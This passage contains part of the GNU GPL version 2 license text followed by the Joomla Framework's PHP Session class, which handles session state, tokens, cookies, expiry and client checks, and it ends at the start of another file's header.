a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session;

use Joomla\Event\DispatcherInterface;
use Joomla\Input\Input;

/**
 * Class for managing HTTP sessions
 *
 * Provides access to session-state values as well as session-level
 * settings and lifetime management methods.
 * Based on the standard PHP session handling mechanism it provides
 * more advanced features such as expire timeouts.
 *
 * @since  1.0
 */
class Session implements \IteratorAggregate
{
	/**
	 * Internal state.
	 * One of
'inactive'|'active'|'expired'|'destroyed'|'error'
	 *
	 * @var    string
	 * @see    getState()
	 * @since  1.0
	 */
	protected $state = 'inactive';

	/**
	 * Maximum age of unused session in minutes
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $expire = 15;

	/**
	 * The session store object.
	 *
	 * @var    Storage
	 * @since  1.0
	 */
	protected $store;

	/**
	 * Security policy.
	 * List of checks that will be done.
	 *
	 * Default values:
	 * - fix_browser
	 * - fix_adress
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $security = array('fix_browser');

	/**
	 * Force cookies to be SSL only
	 * Default  false
	 *
	 * @var    boolean
	 * @since  1.0
	 */
	protected $force_ssl = false;

	/**
	 * The domain to use when setting cookies.
	 *
	 * @var    mixed
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected $cookie_domain;

	/**
	 * The path to use when setting cookies.
	 *
	 * @var    mixed
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected $cookie_path;

	/**
	 * The configuration of the HttpOnly cookie.
	 *
	 * @var    mixed
	 * @since  1.5.0
	 * @deprecated  2.0
	 */
	protected $cookie_httponly = true;

	/**
	 * The configuration of the SameSite cookie.
	 *
	 * @var    mixed
	 * @since  1.5.0
	 * @deprecated  2.0
	 */
	protected $cookie_samesite;

	/**
	 * Session instances container.
	 *
	 * @var    Session
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected static $instance;

	/**
	 * The type of storage for the session.
	 *
	 * @var    string
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected $storeName;

	/**
	 * Holds the Input object
	 *
	 * @var    Input
	 * @since  1.0
	 */
	private $input;

	/**
	 * Holds the Dispatcher object
	 *
	 * @var    DispatcherInterface
	 * @since  1.0
	 */
	private $dispatcher;

	/**
	 * Constructor
	 *
	 * @param   string  $store    The type of storage for the session.
	 * @param   array   $options  Optional parameters
	 *
	 * @since   1.0
	 */
	public function __construct($store = 'none', array $options =
array())
	{
		// Need to destroy any existing sessions started with session.auto_start
		if (session_id())
		{
			session_unset();
			session_destroy();
		}

		// Disable transparent sid support
		ini_set('session.use_trans_sid', '0');

		// Only allow the session ID to come from cookies and nothing else.
		ini_set('session.use_only_cookies', '1');

		// Create handler
		$this->store = Storage::getInstance($store, $options);

		$this->storeName = $store;

		// Set options
		$this->_setOptions($options);

		$this->_setCookieParams();

		$this->setState('inactive');
	}

	/**
	 * Magic method to get read-only access to properties.
	 *
	 * @param   string  $name  Name of property to retrieve
	 *
	 * @return  mixed   The value of the property
	 *
	 * @since   1.0
	 * @deprecated  2.0  Use get methods for non-deprecated properties
	 */
	public function __get($name)
	{
		if ($name === 'storeName' || $name === 'state' ||
$name === 'expire')
		{
			return $this->$name;
		}
	}

	/**
	 * Returns the global Session object, only creating it
	 * if it doesn't already exist.
	 *
	 * @param   string  $handler  The type of session handler.
	 * @param   array   $options  An array of configuration options (for new
sessions only).
	 *
	 * @return  Session  The Session object.
	 *
	 * @since   1.0
	 * @deprecated  2.0  A singleton object store will no longer be supported
	 */
	public static function getInstance($handler, array $options = array())
	{
		if (!\is_object(self::$instance))
		{
			self::$instance = new self($handler, $options);
		}

		return self::$instance;
	}

	/**
	 * Get current state of session
	 *
	 * @return  string  The session state
	 *
	 * @since   1.0
	 */
	public function getState()
	{
		return $this->state;
	}

	/**
	 * Get expiration time in minutes
	 *
	 * @return  integer  The session expiration time in minutes
	 *
	 * @since   1.0
	 */
	public function getExpire()
	{
		return $this->expire;
	}

	/**
	 * Get a session token, if a token isn't set yet one will be
generated.
	 *
	 * Tokens are used to secure forms from spamming attacks. Once a token
	 * has been generated the system will check the post request to see if
	 * it is present, if not it will invalidate the session.
	 *
	 * @param   boolean  $forceNew  If true, force a new token to be created
	 *
	 * @return  string  The session token
	 *
	 * @since   1.0
	 */
	public function getToken($forceNew = false)
	{
		$token = $this->get('session.token');

		// Create a token
		if ($token === null || $forceNew)
		{
			$token = $this->_createToken();
			$this->set('session.token', $token);
		}

		return $token;
	}

	/**
	 * Method to determine if a token exists in the session. If not the
	 * session will be set to expired
	 *
	 * @param   string   $tCheck       Hashed token to be verified
	 * @param   boolean  $forceExpire  If true, expires the session
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function hasToken($tCheck, $forceExpire = true)
	{
		// Check if a token exists in the session
		$tStored = $this->get('session.token');

		// Check token
		if (($tStored !== $tCheck))
		{
			if ($forceExpire)
			{
				$this->setState('expired');
			}

			return false;
		}

		return true;
	}

	/**
	 * Retrieve an external iterator.
	 *
	 * @return  \ArrayIterator  Return an ArrayIterator of $_SESSION.
	 *
	 * @since   1.0
	 */
	public function getIterator()
	{
		return new \ArrayIterator($_SESSION);
	}

	/**
	 * Get session name
	 *
	 * @return  string  The session name
	 *
	 * @since   1.0
	 */
	public function getName()
	{
		if ($this->getState() === 'destroyed')
		{
			// @codingStandardsIgnoreLine
			return;
		}

		return session_name();
	}

	/**
	 * Get session id
	 *
	 * @return  string  The session name
	 *
	 * @since   1.0
	 */
	public function getId()
	{
		if ($this->getState() === 'destroyed')
		{
			// @codingStandardsIgnoreLine
			return;
		}

		return session_id();
	}

	/**
	 * Get the session handlers
	 *
	 * @return  array  An array of available session handlers
	 *
	 * @since   1.0
	 * @deprecated  2.0  The Storage class chain will be removed
	 */
	public static function getStores()
	{
		$connectors = array();

		// Get an iterator and loop trough the driver classes.
		$iterator = new \DirectoryIterator(__DIR__ . '/Storage');

		foreach ($iterator as $file)
		{
			$fileName = $file->getFilename();

			// Only load for php files.
			if (!$file->isFile() || $file->getExtension() != 'php')
			{
				continue;
			}

			// Derive the class name from the type.
			$class = str_ireplace('.php', '',
'\\Joomla\\Session\\Storage\\' . ucfirst(trim($fileName)));

			// If the class doesn't exist we have nothing left to do but look
at the next type. We did our best.
			if (!class_exists($class))
			{
				continue;
			}

			// Sweet!  Our class exists, so now we just need to know if it passes
its test method.
			if ($class::isSupported())
			{
				// Connector names should not have file extensions.
				$connectors[] = str_ireplace('.php', '',
$fileName);
			}
		}

		return $connectors;
	}

	/**
	 * Shorthand to check if the session is active
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function isActive()
	{
		return (bool) ($this->getState() == 'active');
	}

	/**
	 * Check whether this session is currently created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0
	 */
	public function isNew()
	{
		$counter = $this->get('session.counter');

		return (bool) ($counter === 1);
	}

	/**
	 * Check whether this session is currently created
	 *
	 * @param   Input                $input       Input object for the session
to use.
	 * @param   DispatcherInterface  $dispatcher  Dispatcher object for the
session to use.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0  In 2.0 the DispatcherInterface should be injected via
the object constructor
	 */
	public function initialise(Input $input, DispatcherInterface $dispatcher =
null)
	{
		$this->input      = $input;
		$this->dispatcher = $dispatcher;
	}

	/**
	 * Get data from the session store
	 *
	 * @param   string  $name       Name of a variable
	 * @param   mixed   $default    Default value of a variable if not set
	 * @param   string  $namespace  Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
	 *
	 * @return  mixed  Value of a variable
	 *
	 * @since   1.0
	 */
	public function get($name, $default = null, $namespace =
'default')
	{
		// Add prefix to namespace to avoid collisions
		$namespace = '__' . $namespace;

		if ($this->getState() !== 'active' &&
$this->getState() !== 'expired')
		{
			return;
		}

		if (isset($_SESSION[$namespace][$name]))
		{
			return $_SESSION[$namespace][$name];
		}

		return $default;
	}

	/**
	 * Set data into the session store.
	 *
	 * @param   string  $name       Name of a variable.
	 * @param   mixed   $value      Value of a variable.
	 * @param   string  $namespace  Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
	 *
	 * @return  mixed  Old value of a variable.
	 *
	 * @since   1.0
	 */
	public function set($name, $value = null, $namespace =
'default')
	{
		// Add prefix to namespace to avoid collisions
		$namespace = '__' . $namespace;

		if ($this->getState() !== 'active')
		{
			return;
		}

		$old = isset($_SESSION[$namespace][$name]) ? $_SESSION[$namespace][$name]
: null;

		if ($value === null)
		{
			unset($_SESSION[$namespace][$name]);
		}
		else
		{
			$_SESSION[$namespace][$name] = $value;
		}

		return $old;
	}

	/**
	 * Check whether data exists in the session store
	 *
	 * @param   string  $name       Name of variable
	 * @param   string  $namespace  Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
	 *
	 * @return  boolean  True if the variable exists
	 *
	 * @since   1.0
	 */
	public function has($name, $namespace = 'default')
	{
		// Add prefix to namespace to avoid collisions.
		$namespace = '__' . $namespace;

		if ($this->getState() !== 'active')
		{
			// @codingStandardsIgnoreLine
			return;
		}

		return isset($_SESSION[$namespace][$name]);
	}

	/**
	 * Unset data from the session store
	 *
	 * @param   string  $name       Name of variable
	 * @param   string  $namespace  Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
	 *
	 * @return  mixed   The value from session or NULL if not set
	 *
	 * @since   1.0
	 */
	public function clear($name, $namespace = 'default')
	{
		// Add prefix to namespace to avoid collisions
		$namespace = '__' . $namespace;

		if ($this->getState() !== 'active')
		{
			// @TODO :: generated error here
			return;
		}

		$value = null;

		if (isset($_SESSION[$namespace][$name]))
		{
			$value = $_SESSION[$namespace][$name];
			unset($_SESSION[$namespace][$name]);
		}

		return $value;
	}

	/**
	 * Start a session.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function start()
	{
		if ($this->getState() === 'active')
		{
			return;
		}

		$this->_start();

		$this->setState('active');

		// Initialise the session
		$this->_setCounter();
		$this->_setTimers();

		// Perform security checks
		$this->_validate();

		if ($this->dispatcher instanceof DispatcherInterface)
		{
			$this->dispatcher->triggerEvent('onAfterSessionStart');
		}
	}

	/**
	 * Start a session.
	 *
	 * Creates a session (or resumes the current one based on the state of the
session)
	 *
	 * @return  boolean  true on success
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	protected function _start()
	{
		// Start session if not started
		if ($this->getState() === 'restart')
		{
			session_regenerate_id(true);
		}
		else
		{
			$session_name = session_name();

			// Get the Joomla\Input\Cookie object
			$cookie = $this->input->cookie;

			if ($cookie->get($session_name) === null)
			{
				$session_clean = $this->input->get($session_name, false,
'string');

				if ($session_clean)
				{
					session_id($session_clean);
					$cookie->set($session_name, '', array('expires'
=> 1));
				}
			}
		}

		/**
		 * Write and Close handlers are called after destructing objects since
PHP 5.0.5.
		 * Thus destructors can use sessions but session handler can't use
objects.
		 * So we are moving session closure before destructing objects.
		 *
		 * Replace with session_register_shutdown() when dropping compatibility
with PHP 5.3
		 */
		register_shutdown_function('session_write_close');

		session_cache_limiter('none');
		session_start();

		return true;
	}

	/**
	 * Frees all session variables and destroys all data registered to a
session
	 *
	 * This method resets the $_SESSION variable and destroys all of the data
associated
	 * with the current session in its storage (file or DB). It forces new
session to be
	 * started after this method is called. It does not unset the session
cookie.
	 *
	 * @return  boolean  True on success
	 *
	 * @see     session_destroy()
	 * @see     session_unset()
	 * @since   1.0
	 */
	public function destroy()
	{
		// Session was already destroyed
		if ($this->getState() === 'destroyed')
		{
			return true;
		}

		/*
		 * In order to kill the session altogether, such as to log the user out,
the session id
		 * must also be unset. If a cookie is used to propagate the session id
(default behavior),
		 * then the session cookie must be deleted.
		 */
		$cookie = session_get_cookie_params();

		$cookieOptions = array(
			'expires'  => 1,
			'path'     => $cookie['path'],
			'domain'   => $cookie['domain'],
			'secure'   => $cookie['secure'],
			'httponly' => true,
		);

		if (isset($cookie['samesite']))
		{
			$cookieOptions['samesite'] = $cookie['samesite'];
		}

		$this->input->cookie->set($this->getName(), '',
$cookieOptions);

		session_unset();
		session_destroy();

		$this->setState('destroyed');

		return true;
	}

	/**
	 * Restart an expired or locked session.
	 *
	 * @return  boolean  True on success
	 *
	 * @see     destroy
	 * @since   1.0
	 */
	public function restart()
	{
		$this->destroy();

		if ($this->getState() !== 'destroyed')
		{
			// @TODO :: generated error here
			return false;
		}

		// Re-register the session handler after a session has been destroyed, to
avoid PHP bug
		$this->store->register();

		$this->setState('restart');

		// Regenerate session id
		session_regenerate_id(true);
		$this->_start();
		$this->setState('active');

		$this->_validate();
		$this->_setCounter();

		return true;
	}

	/**
	 * Create a new session and copy variables from the old one
	 *
	 * @return  boolean $result true on success
	 *
	 * @since   1.0
	 */
	public function fork()
	{
		if ($this->getState() !== 'active')
		{
			// @TODO :: generated error here
			return false;
		}

		// Keep session config
		$cookie = session_get_cookie_params();

		// Kill session
		session_destroy();

		// Re-register the session store after a session has been destroyed, to
avoid PHP bug
		$this->store->register();

		// Restore config
		if (version_compare(PHP_VERSION, '7.3', '>='))
		{
			session_set_cookie_params($cookie);
		}
		else
		{
			session_set_cookie_params($cookie['lifetime'],
$cookie['path'], $cookie['domain'],
$cookie['secure'], $cookie['httponly']);
		}

		// Restart session with new id
		session_regenerate_id(true);
		session_start();

		return true;
	}

	/**
	 * Writes session data and ends session
	 *
	 * Session data is usually stored after your script terminated without the
need
	 * to call JSession::close(), but as session data is locked to prevent
concurrent
	 * writes only one script may operate on a session at any time. When using
	 * framesets together with sessions you will experience the frames loading
one
	 * by one due to this locking. You can reduce the time needed to load all
the
	 * frames by ending the session as soon as all changes to session
variables are
	 * done.
	 *
	 * @return  void
	 *
	 * @see     session_write_close()
	 * @since   1.0
	 */
	public function close()
	{
		session_write_close();
	}

	/**
	 * Set the session expiration
	 *
	 * @param   integer  $expire  Maximum age of unused session in minutes
	 *
	 * @return  $this
	 *
	 * @since   1.3.0
	 */
	protected function setExpire($expire)
	{
		$this->expire = $expire;

		return $this;
	}

	/**
	 * Set the session state
	 *
	 * @param   string  $state  Internal state
	 *
	 * @return  $this
	 *
	 * @since   1.3.0
	 */
	protected function setState($state)
	{
		$this->state = $state;

		return $this;
	}

	/**
	 * Set session cookie parameters
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	protected function _setCookieParams()
	{
		$cookie = session_get_cookie_params();

		if ($this->force_ssl)
		{
			$cookie['secure'] = true;
		}

		if ($this->cookie_domain)
		{
			$cookie['domain'] = $this->cookie_domain;
		}

		if ($this->cookie_path)
		{
			$cookie['path'] = $this->cookie_path;
		}

		$cookie['httponly'] = $this->cookie_httponly;

		if ($this->cookie_samesite)
		{
			$cookie['samesite'] = $this->cookie_samesite;
		}

		if (version_compare(PHP_VERSION, '7.3', '>='))
		{
			session_set_cookie_params($cookie);
		}
		else
		{
			session_set_cookie_params($cookie['lifetime'],
$cookie['path'], $cookie['domain'],
$cookie['secure'], $cookie['httponly']);
		}
	}

	/**
	 * Create a token-string
	 *
	 * @param   integer  $length  Length of string
	 *
	 * @return  string  Generated token
	 *
	 * @since   1.0
	 * @deprecated  2.0  Use createToken instead
	 */
	protected function _createToken($length = 32)
	{
		return $this->createToken($length);
	}

	/**
	 * Create a token-string
	 *
	 * @param   integer  $length  Length of string
	 *
	 * @return  string  Generated token
	 *
	 * @since   1.3.1
	 */
	protected function createToken($length = 32)
	{
		return bin2hex(random_bytes($length));
	}

	/**
	 * Set counter of session usage
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @deprecated  2.0  Use setCounter instead
	 */
	protected function _setCounter()
	{
		return $this->setCounter();
	}

	/**
	 * Set counter of session usage
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.3.0
	 */
	protected function setCounter()
	{
		$counter = $this->get('session.counter', 0);
		++$counter;

		$this->set('session.counter', $counter);

		return true;
	}

	/**
	 * Set the session timers
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @deprecated  2.0  Use setTimers instead
	 */
	protected function _setTimers()
	{
		return $this->setTimers();
	}

	/**
	 * Set the session timers
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.3.0
	 */
	protected function setTimers()
	{
		if (!$this->has('session.timer.start'))
		{
			$start = time();

			$this->set('session.timer.start', $start);
			$this->set('session.timer.last', $start);
			$this->set('session.timer.now', $start);
		}

		$this->set('session.timer.last',
$this->get('session.timer.now'));
		$this->set('session.timer.now', time());

		return true;
	}

	/**
	 * Set additional session options
	 *
	 * @param   array  $options  List of parameter
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.0
	 * @deprecated  2.0  Use setOptions instead
	 */
	protected function _setOptions(array $options)
	{
		return $this->setOptions($options);
	}

	/**
	 * Set additional session options
	 *
	 * @param   array  $options  List of parameter
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.3.0
	 */
	protected function setOptions(array $options)
	{
		// Set name
		if (isset($options['name']))
		{
			session_name(md5($options['name']));
		}

		// Set id
		if (isset($options['id']))
		{
			session_id($options['id']);
		}

		// Set expire time
		if (isset($options['expire']))
		{
			$this->setExpire($options['expire']);
		}

		// Get security options
		if (isset($options['security']))
		{
			$this->security = explode(',',
$options['security']);
		}

		if (isset($options['force_ssl']))
		{
			$this->force_ssl = (bool) $options['force_ssl'];
		}

		if (isset($options['cookie_domain']))
		{
			$this->cookie_domain = $options['cookie_domain'];
		}

		if (isset($options['cookie_path']))
		{
			$this->cookie_path = $options['cookie_path'];
		}

		if (isset($options['cookie_httponly']))
		{
			$this->cookie_httponly = (bool)
$options['cookie_httponly'];
		}

		if (isset($options['cookie_samesite']))
		{
			$this->cookie_samesite = $options['cookie_samesite'];
		}

		// Sync the session maxlifetime
		if (!headers_sent())
		{
			ini_set('session.gc_maxlifetime', $this->getExpire());
		}

		return true;
	}

	/**
	 * Do some checks for security reason
	 *
	 * - timeout check (expire)
	 * - ip-fixiation
	 * - browser-fixiation
	 *
	 * If one check failed, session data has to be cleaned.
	 *
	 * @param   boolean  $restart  Reactivate session
	 *
	 * @return  boolean  True on success
	 *
	 * @link    http://shiflett.org/articles/the-truth-about-sessions
	 * @since   1.0
	 * @deprecated  2.0  Use validate instead
	 */
	protected function _validate($restart = false)
	{
		return $this->validate($restart);
	}

	/**
	 * Do some checks for security reason
	 *
	 * - timeout check (expire)
	 * - ip-fixiation
	 * - browser-fixiation
	 *
	 * If one check failed, session data has to be cleaned.
	 *
	 * @param   boolean  $restart  Reactivate session
	 *
	 * @return  boolean  True on success
	 *
	 * @link    http://shiflett.org/articles/the-truth-about-sessions
	 * @since   1.3.0
	 */
	protected function validate($restart = false)
	{
		// Allow to restart a session
		if ($restart)
		{
			$this->setState('active');

			$this->set('session.client.address', null);
			$this->set('session.client.forwarded', null);
			$this->set('session.token', null);
		}

		// Check if session has expired
		if ($this->getExpire())
		{
			$curTime = $this->get('session.timer.now', 0);
			$maxTime = $this->get('session.timer.last', 0) +
$this->getExpire();

			// Empty session variables
			if ($maxTime < $curTime)
			{
				$this->setState('expired');

				return false;
			}
		}

		$remoteAddr =
$this->input->server->getString('REMOTE_ADDR',
'');

		// Check for client address
		if (\in_array('fix_adress', $this->security) &&
!empty($remoteAddr) && filter_var($remoteAddr, FILTER_VALIDATE_IP)
!== false)
		{
			$ip = $this->get('session.client.address');

			if ($ip === null)
			{
				$this->set('session.client.address', $remoteAddr);
			}
			elseif ($remoteAddr !== $ip)
			{
				$this->setState('error');

				return false;
			}
		}

		$xForwardedFor =
$this->input->server->getString('HTTP_X_FORWARDED_FOR',
'');

		// Record proxy forwarded for in the session in case we need it later
		if (!empty($xForwardedFor) && filter_var($xForwardedFor,
FILTER_VALIDATE_IP) !== false)
		{
			$this->set('session.client.forwarded', $xForwardedFor);
		}

		return true;
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
